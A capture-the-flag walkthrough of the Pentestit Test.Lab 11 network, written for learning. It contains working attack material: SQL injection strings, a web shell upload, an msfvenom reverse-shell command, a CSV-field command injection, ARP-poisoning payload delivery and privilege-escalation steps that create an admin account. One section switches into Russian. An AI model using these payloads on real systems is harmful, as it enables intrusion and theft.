Pentest laboratory Pentestit Test lab v.11 - full walkthrough

    On June 30th, Pentestit's Pentest laboratory was launched again . For many years, these laboratories have been providing an opportunity to test themselves as a pentester in a virtual company with their business processes, servers, employees and problems, to learn and test modern vulnerabilities and hone their skills in application audits and pentest, which is as close as possible to the real one.

    This laboratory is already the 11th in a row. Descriptions of the tenth , ninth , eighth , seventh and sixth laboratories are also available, and can be useful in preparing for participation if you have not already done so.

    Like last time, after 11 days the laboratory was passed by the first participants who collected 12 tokens, which confirm the complete solution of the next task, whether it be gaining access to the database, penetration and privilege escalation on a Linux server, or a successful MiTM attack on the director’s laptop virtual company Test.Lab.

    This article describes all the stages of passing the Test.Lab 11 pentest laboratory for everyone who is interested in diving into the pentest area or finding out how a specific task was solved.

    I am not a Pentestit employee or affiliate. This document describes the steps that I have taken to solve the tasks in the laboratory. My personal recommendations and preferences in no way relate to Pentestit's official opinion.

    All information in this document is provided for educational purposes only. By continuing to read this document, you agree not to use this information for illegal purposes, and confirm that you and only you are fully responsible for your actions or knowledge gained from this document. The author of this document and Pentestit are not liable for any damage caused to anyone as a result of using the knowledge and methods obtained as a result of reading this document.

    Connection to the laboratory

    Before you begin, you need to register in the laboratory, set up a VPN connection and connect to the Test.Lab virtual company network.

    Register here , and then follow these instructions in order to connect.

    For testing, you can install Kali Linux in a virtual machine - a special Linux distribution for pentesters, which has everything you need to work. If you have not done so, now is the time.

    Start testing

    After connecting, two gateways become available to us - and, behind which the following network is hidden:

    We collect information

    Given that this time there is no legend about any fictitious company name, passive collection of information from open sources is unlikely to help - a search on “test.lab” will give a lot of superfluous. Therefore, let's move on to port scanning:

    From the results it is clear that we have two sites (the main site of the company and CRM, as will be explained later), mail services (access to web mail and SMTP) and SSH on non-standard port 2222. If you scan all ports using switch -p-, you can also find OpenVPN on port 1194 of the host

    It will also be useful to scan UDP ports, however, we will begin to analyze the services available to us one by one.

    At the beginning of the pentest, you need to try to determine the most realistic goals for the upcoming attack. So, you can immediately cut off the SSH server, which requires authentication by key, and the OpenVPN server, which is waiting for the configuration file to connect (although for OpenVPN, options are possible if there are no other vulnerabilities). In addition, you can try to pick up passwords for employee accounts on mail servers, but for this you need to know the names of these records or the emails of employees.

    After a quick analysis of the company’s website, accessible on port 80, it becomes clear that it is protected using the web application firewall, since most “aggressive” requests earn our IP ban on the firewall for 2 minutes. Searching directories, or actively scanning using utilities like Burp Suite, leads to persistent 403 errors.

    We will focus on the Vtiger CRM system, which, at first glance, is the very low-hanging fruit we are looking for.

    At first glance, the Vtiger system is not protected by WAF, and version 6.3.0 contains a vulnerability that allows us to get a shell on this server:

    But, unfortunately, not everything is so fast - as you can see, you must first log in to CRM, since the vulnerability is authenticated RCE. Let's study it more closely!

    We study CRM

    Not finding anything interesting in the subdirectories, and installing a copy of Vtiger 6.3.0 (which can be downloaded here ), we understand that the default username is admin. Let's try to use Burp Suite to find the password.

    This article will focus less on setting up tools like Kali and Burp Suite, and more on the specifics of specific lab tasks. A review of tools is beyond the scope of this article, but there are a lot of details about this on the net.

    After setting up Burp Suite to search the password using the large dictionary from SecLists (100 thousand passwords), with the user admin, we get the password you need:

    And, finally, go to the system:

    Judging by the administrator’s password and nickname in CRM (pay attention to it in the upper right corner - it’s still useful when taking mail), it becomes clear that the administrator is a serious fan of Star Wars.

    We use the aforementioned vulnerability to download shell after authentication. To do this, go to CRM Settings → Templates → Company Details , and edit the logo, changing it to a single-line shell , after enabling traffic interception in Burp Suite:

    Having intercepted the request in Burp, we return the php extension to the file to be downloaded (an alternative would be to immediately load the PHP file, but at the same time change the mime type of the loaded object to image / jpeg in Burp Suite). Separately, it should be noted that it is necessary to remove the occurrences of the string “php” in the loaded shell, otherwise Vtiger CRM will filter out this “image” (we have enough characters. Now we can walk around the server in search of a token using our shell: Done! The first token is taken.

    We make our way inside the network

    As we recall, after taking the CRM, it became clear that the administrator, with the email admin@test.lab, is a fan of Star Wars. Let's try to go into the mail as admin@test.lab using the CRM admin nickname as a password: We

    found an SSH key for the tech user:

    With this key, we can connect to the SSH server:

    And so, we find ourselves inside the network of the company branch. Having connected to a new server, it is useful to study it from all sides to understand what information is available for further promotion within the network or privilege escalation. A good checklist of what you need to check can be found here .

    Having studied, in particular, crontab, we find out that there is a connection to OpenVPN. Despite the fact that the scripts themselves are not available to us in the / opt folder, you can still extract something useful:

    Thus, we will find out the Office-2 username and the certificate needed to connect. Having compiled the necessary configuration file on the basis of this data (below), we will use a script to enumerate passwords for OpenVPN . The script will have to be slightly changed so that the external OpenVPN does not turn off every time it tries.

    dev tun
    proto tcp
    remote 1194
    resolv-retry infinite
    verb 3
    -----END CERTIFICATE-----

    We select the password using a small dictionary based on starwars (after all, the administrator is a fan, as we already understood):

    And then we successfully connect to the internal VPN, after which we can see the subnet displayed on the network diagram above.

    Attack SITE

    After gaining access to the internal network, and scanning with nmap, we find on the same site that was accessible from the outside, now without WAF protection. Having studied the source code of the page a little, it becomes clear that we are faced with Wordpress version 4.8, which immediately catches the eye of the kittycatfish plugin, which is vulnerable to SQL injection, at /wp-content/plugins/kittycatfish-2.2/.

    The exploit description states that the Injection is in the base.css.php file, in the kc_ad parameter. Let's search it on GitHub :

    $kc_ad = $_GET['kc_ad'];
    $kc_ad_meta = kittycatfish_ad_get_meta($kc_ad);

    After studying kittycatfish.php, it becomes clear that the value kc_ad_css is added to the CSS, and, accordingly, the injection may look like this:,(select%20@@version)

    The version is received. Now we get the name of the table:,(SELECT%20GROUP_CONCAT(table_name)%20FROM%20information_schema.tables%20WHERE%20table_schema=database()%20GROUP%20BY%20table_name%20LIMIT%200,1)

    And finally the token in the column name:,(SELECT%20GROUP_CONCAT(column_name)%20FROM%20information_schema.columns%20WHERE%20table_name=0x746c5f746f6b656e%20GROUP%20BY%20table_name%20LIMIT%200,1)

    Готово! Кстати, все hex значения получены следующими командами:

    $ echo -n kc_ad_css | xxd -p
    $ echo -n tl_token | xxd -p

    Токен RDP

    Вернемся на некоторое время в сеть филиала «The Second Office», которая стала доступна нам благодаря подключению к SSH: компьютеры, и просканируем доступные порты (так как они не отвечают на ping, нужно использовать ключ -Pn):

    Найдя RDP, попробуем подключиться к нему, предварительно пробросив нужный порт, используя ~C — командную консоль SSH-клиента:

    В Remote Desktop есть такая особенность, которая позволяет узнать список пользователей на компьютере, если не передать никакое имя пользователя при подключении. Сделаем это с использованием xfreerdp:

    xfreerdp /v: -sec-nla /u:""

    Having received the usernames, we will use crowbar to find the password - for RDP, in my experience, it always works better than Hydra or Medusa:

    After successfully selecting the password, we get to RDP:

    Having not found anything interesting for the user arm554, we move on. Let's try to increase privileges using ms16_032 , as described, for example, in this video :

    xfreerdp /v: /u:"arm554" /drive:share,/root/pentestit

    By copying MS16-032.ps1 from Exploit DB, we obtain administrator rights:

    After which, using the following commands, we create a new administrative user:

    net user user1  /add
    net localgroup administrators user1 /add

    By logging in as user1, we get access to the user folder, where you can find the token, and at the same time, and, apparently, hashes of the armXYZ user passwords, of which only arm554 is not deleted, judging by the files.

    This information will be useful to us in the future, for taking AD, which we will proceed with.

    In addition to machine, in the branch you can find the appropriate passwords for users "users" on machines and using a dictionary larger than john.txt.

    Pass-the-hash in AD

    After receiving the RDP and extracting the hash, we get the opportunity to attack Active Directory, which, according to the network diagram, is located at Port scanning only confirms that it is a domain controller (and at the same time its name is TEST.LAB): We will

    use the kerberos_enumusers module from Metasploit to confirm the existence of arm554 using Kerberos:

    Given that Windows 2012 is installed, try pass-the- hash via SMBv3:

    Having received the list of available shares, we will try to access files:

    The token is received, and the network_test.txt file with the following contents:

    Hi, mate! Need to test ARP-table in DIR subnet.
    I'll install intercepter <логин и пароль к серверу в сети DIR>

    We still do not have access to this server, since first you need to access the router indicated on the network diagram. Therefore, we continue to study the subnet

    CUPS Token

    On the 80th port of machine, displayed as CUPS on the network diagram, we find the following page:

    The administrative panel leads to the address closed by basic authentication, while local storage displays, apparently, a self-written web application with a login form . Having tried several basic passwords, we assume the presence of SQL injection, and we enter the system with the following data:

    admin' or 1=1 -- -

    After that, scans made in the system become available to us. Among other things, we find a private key for connecting to a router that hides the last part of the network from us:

    After spending an impressive amount of time to parse each character and correctly sorting it from the image, we can connect to a router named morgan: We

    use sshuttle to conveniently forward ports on the subnet, and

    Man-in-the-middle in DIR - get access to the DIRECTOR computer

    After scanning the DIR network and using the login and password found on AD, we connect to via RDP and find Intercepter in the Soft folder, as mentioned in the information from the domain controller:

    First, let's try to do ARP poisoning inside the subnet and see that they don’t communicate whether there are (a director’s machine) and (a machine with a web server on port 80) between each other. To do this, scan the network:

    After the necessary machines are found, make the settings as shown in the screenshot:

    In this case, despite the fact that is not a gateway, we set it as the gateway, because we are not interested in the communications of the director’s machine with an external network, but the communications inside this subnet. Intercepter-NG will respond to machine that it is 12.3, and machine 12.3 that it is 12.1. After this setting, go to the raw packets tab and set the “port not 3389” Pcap filter to exclude RDP packets that we constantly exchange with machine 12.2:

    After that, you need to run sniffing, NAT and ARP poisoning to carry out the attack:

    Soon we see that the director is trying to download quake3.exe from the web server , but receives a 404 error.

    We fix this annoying situation by generating reverse shell payload with the following command:

    msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=80 -f exe > quake3.exe

    After the file is uploaded to the RDP server, we will configure the implementation of this file in the HTTP response. To do this, enable SSL Strip (although the file is not downloaded via SSL, it is necessary to enable MiTM in Intercepter):

    Then we configure the implementation by selecting the “fake” quake3.exe that we downloaded:

    Then we start netcat listener and enable it through the firewall:

    And, finally, enable ARP poisoning again to inject quake3.exe in response from the web server, and then we get the shell:

    In the documents we find the SSH key, and our next token!

    In addition, having studied itself, you can find the todo file, which will be useful in the future:

    Thanks to the key found, we can try to enter the machine, which we now have access to through the router (the key to which was found in CUPS), and the remote key found on the director’s machine.

    Switching to ADMIN

    When connected to using the remote key, we get a form that forwards us to other computers on the network (namely, Srv1 =, using the user aengineer and the saved key, or Srv2 =, also with use login aengineer).

    Something tells us that there is command injection here, and we can get beyond this script and get to 11.1 itself. Let's try to do this using standard command separators, such as;, |, &, and others:

    A semicolon is triggered! The console freezes for a few seconds if you add sleep. Moreover, if we write something else instead of Srv1 or Srv2, we see that we receive messages from STDERR, while the output of commands that are executed successfully is hidden. Let's try redirecting the standard output to STDERR to get the output of the results:

    It works! Now, using this technique, we get a full shell:

    In the / opt / gh folder there is a script that requested the server name. As you can see, it really has a command-injection vulnerability (and at the same time a bash filter, which we bypassed with dash). Having examined this server, the only useful information is the aengineer key, with which we connected to and, which can be copied:

    Thus, we were able to get into the admin network.


    Having connected to as aengineer, we recall that the file found on mentioned the FTP connection to the server on on port 2020. Just in case, we try to enable netcat listener on this port:

    And we find out that the server is really gets a connection, but then nothing happens. Since the FTP connection, it is logical to assume that the connecting party is waiting for a greeting from the FTP server before logging in. We simulate this with a simple command:

    Token received!

    Eavesdrop on CLOUD

    Continuing to be on, you will notice that tcpdump is allowed from the user aengineer on this machine. Typically, this configuration requires root privileges, but it was apparently configured differently here . In general, it is useful to check the ability to record traffic on any machine, since it can tell a lot of interesting things. We do this as follows:

    After that, by opening the file in Wireshark, you can find traffic between and (CLOUD), the following contents:

    As you can see, we found the user password for the user to the cloud server. Let's try to come in:

    It turned out! Found keepass-store named my_store.kdbx. We will use the keepas2john utility to extract the hash, and try to find the password:

    Configure hashcat, and find the password:

    In the picture, only the last 4 characters of the password are specially blurred, to facilitate the selection. The password is in the rockyou.txt dictionary. Now just enter this password in keepass, and get the CLOUD token!

    We use CLAMAV

    Having scanned, we find the sendmail service, which, probably, is Clamav. Let's check the guess using the appropriate exploit . I had to spend some time before it became clear that the backconnect through the reverse shell only works on

    Got a shell! But the token is not yet available. Given that the machine has a non-standard configuration for this network in the form of an installed ossec, there is a suspicion that privileges must be escalated. To do this, look for exploits on ossec:

    The most likely exploit under number 37265 is the last available local root exploit to date. To escalate, do the following:

    1. Create a file with the name “foo - $ (chmod 777 etc)” in the home directory / home / clamav (we cannot use slashes, and ossec commands are executed in the root directory - you can bypass this restriction via cd if you wish)
    2. Edit this file and create another one in the same directory
    3. When the necessary rights to the etc folder are installed, delete the passwd file, and then create the one we need with another user with ID 0 and a known password
    4. Make su to this user

    In our case, as it turned out, just read the contents of the root directory, which we will do: the

    clamav token is received. Upon completion, it is worth returning the rights to the directories to the place so as not to spoil the passage to other participants.


    Having connected as aengineer to the machine, we find the following: The

    token is available only from the www-data user, and is not accessible through the web server due to strict permissions. After examining the source code for, login.php and parse.php, the following becomes clear:

    1. To log in, just go to
    2. The parse.php file displays data from db.csv, which is periodically downloaded from the FTP server using and the credentials specified in it
    3. Downloading is performed as root, so there is no way to change the file on the client
    4. Inside the parse.php file, the date is converted from db.csv to another format, while there is a command injection vulnerability

    5. The token is available exclusively for reading from the user www-data.

    Thus, in order to escalate privileges to www-data, we need to embed the necessary command in the db.csv file:

    Mireya;Bain;1498292760.0|chmod 777 /var/www/html/token.sec;1498310760.0;38611

    From you can extract the username and password for the FTP server at, but, unfortunately, the db.csv file on it is read-only to us, so there is no way to replace it. At this stage, it is useful to recall that we already have the aengineer user SSH key extracted from - let's try to go under it:

    It worked! And now, as you can see from the permissions, aengineer has the ability to write to db.csv. Having updated the file manually, we notice that it is constantly being updated from some database. To ensure the constant availability of the new file, we write a short loop in bash:

    while true; do python -c 'print "Name;Surname;In;Out;ID\nMireya;Bain;1498292760.0|chmod 777 /var/www/html/token.sec;1498310760.0;38611"' > db.csv; sleep 2; done

    And now, the db.csv file has been updated already on!

    Now we go to the parse.php page to execute the command from db.csv:

    Now we can read the token!

    Then, we return the previous rights 400 to the token.sec file in the same way so as not to spoil the passage to other participants in the laboratory. Another token is taken.

    Magical HELPDESK

    As you can see, there are several machines in this laboratory that are either of no interest or practically invulnerable - this makes the laboratory even closer to a real network, where not every computer on the network has a vulnerability. Therefore, it is important to continue scanning the network in order to constantly search for new services.

    So, having scanned, we find the open 80th port on which the Ticket service application is uploaded, or HELPDESK:

    Looking for hidden directories with dirsearch, we find the / admin folders (closed by basic authentication), / _admin with a copy of the login.php file , / templates with the head.html file, and several less interesting folders like fonts and css.

    Having studied the application, you will notice that when you go to different pages inside, we are required to log in as different users - from user to oper_1 / 2 and admin - obviously, our main goal.

    Despite the fact that the cat parameter in the URL hints at a vulnerability like Local File Inclusion, based on failed attempts and the /templates/head.html file, we can conclude that this vulnerability is absent. In addition, after checking SQL and NoSQL injections, and several other vulnerabilities, we decide to try to pick up passwords for the specified users: admin / user / oper_1 / oper_2, as well as the users mentioned in the tickets:

    Using Burp Suite in the same way as with CRM, only in Cluster Bomb mode, I managed to pick up the user / password and oper_2 / oper_2 passwords, but, unfortunately, none of them were suitable for logging in as admin. In addition, the hope that the forms for editing or deleting tickets will be available, and if it will be possible to find any vulnerabilities in them, has disappeared.

    In my opinion, this token was the most difficult and interesting in the laboratory. This is a web application with only two entry points: /login.php and /_admin/login.php, none of which contain vulnerabilities that can be detected with the naked eye.

    After studying the tickets, we pay attention to the fact that the authors of the application according to legend have fixed some problems in hashing. Looking for php hash vulnerability we find the key to the solution -Magic Hashes . This article describes the essence of the vulnerability in sufficient detail ( the Russian version is also available), so I will not repeat the detailed description here.

    The vulnerability is that due to PHP type juggling, it could happen that different hashes (be it MD5, SHA1 or others) from different passwords are equal due to automatic type conversion.

    Having tried the hashes given in the article as passwords for the admin user on both login.php pages, after long attempts, it comes to understanding that the hash is taken from username + password. Then, in order not to look for a new hash that meets the requirements, we try to “split” the MD5 and SHA1 hashes into two parts, and go to admin using this link: .

    Finally, the Removed Tickets tab becomes available, where the long-awaited HELPDESK token awaits us, along with a password from SSH to receive the SCREEN token:

    SCREEN privilege escalation

    Having received the password for the SSH server from HELPDESK, we can go in and look around:

    But, unfortunately, not far - we are limited to the restricted bash (rbash) shell, which forbids access to the shared file system and use slashes in commands. Usually, you can exit restricted bash quite simply, for example like this:

    Having looked around in the main system, we see that the token is in / home / tester / token, but we do not have permission to read it. In addition, there is an entry in cron on the machine that executes the following script:

    Here is the source code of the script:

    #!/usr/bin/perl -w
    if (!-l $ARGV[0] && -f $ARGV[0]) {
    	open $file1, $ARGV[0];
    	$fname = <$file1>;
    	open ($file2, $fname) or die("$!");
    	open $file3, '>>', "/tmp/testlog";
    	$line = <$file2>;
    	chomp ($line);
    	print $file3 $line, "\n";
    	close $file2;
    	close $file3;
    	close $file1;
    	open $file1, '>', "/tmp/testlog";
    	close $file1;
    else {

    As can be seen from the script and startup parameters, it receives the file name for reading from the file in / build / log /, opens this file and displays the contents in / tmp / testlog, then deletes the processed file in / build / log and waits for one second, during which the contents of the file will be available. Since the command is executed on behalf of the user tester, we can exploit this in order to extract the value of the token. The only thing left to do is create a file in / build / log /, where our user john, unfortunately, does not have access to. Let's try to fix it.

    The / build folder also contains screen, in which the SGID bit is set, which means that screen will be executed on behalf of the utmp group:

    In this case, you can write in the / build / log folder on behalf of the utmp group. Using the -L switch in the screen command, you can create the following file:

    As you can see, the file was created successfully as user john. We include write permissions to this file for john, and put the path to the file we want to read there, and then run the output of the log file in a loop:

    So, the last SCREEN token is received!

    All material here is presented solely for educational purposes, so your comments on the passage of the laboratory are welcome - let as many people as possible learn about different ways to solve a particular problem.

    I wish good luck to those who have not yet managed to go through the laboratory and experience the joy of taking each car on the network.

    Thanks to Pentestit for the interesting, complex and realistic lab! Thanks to the reader for reaching this point.

    See you at the new laboratory!

    Also popular now: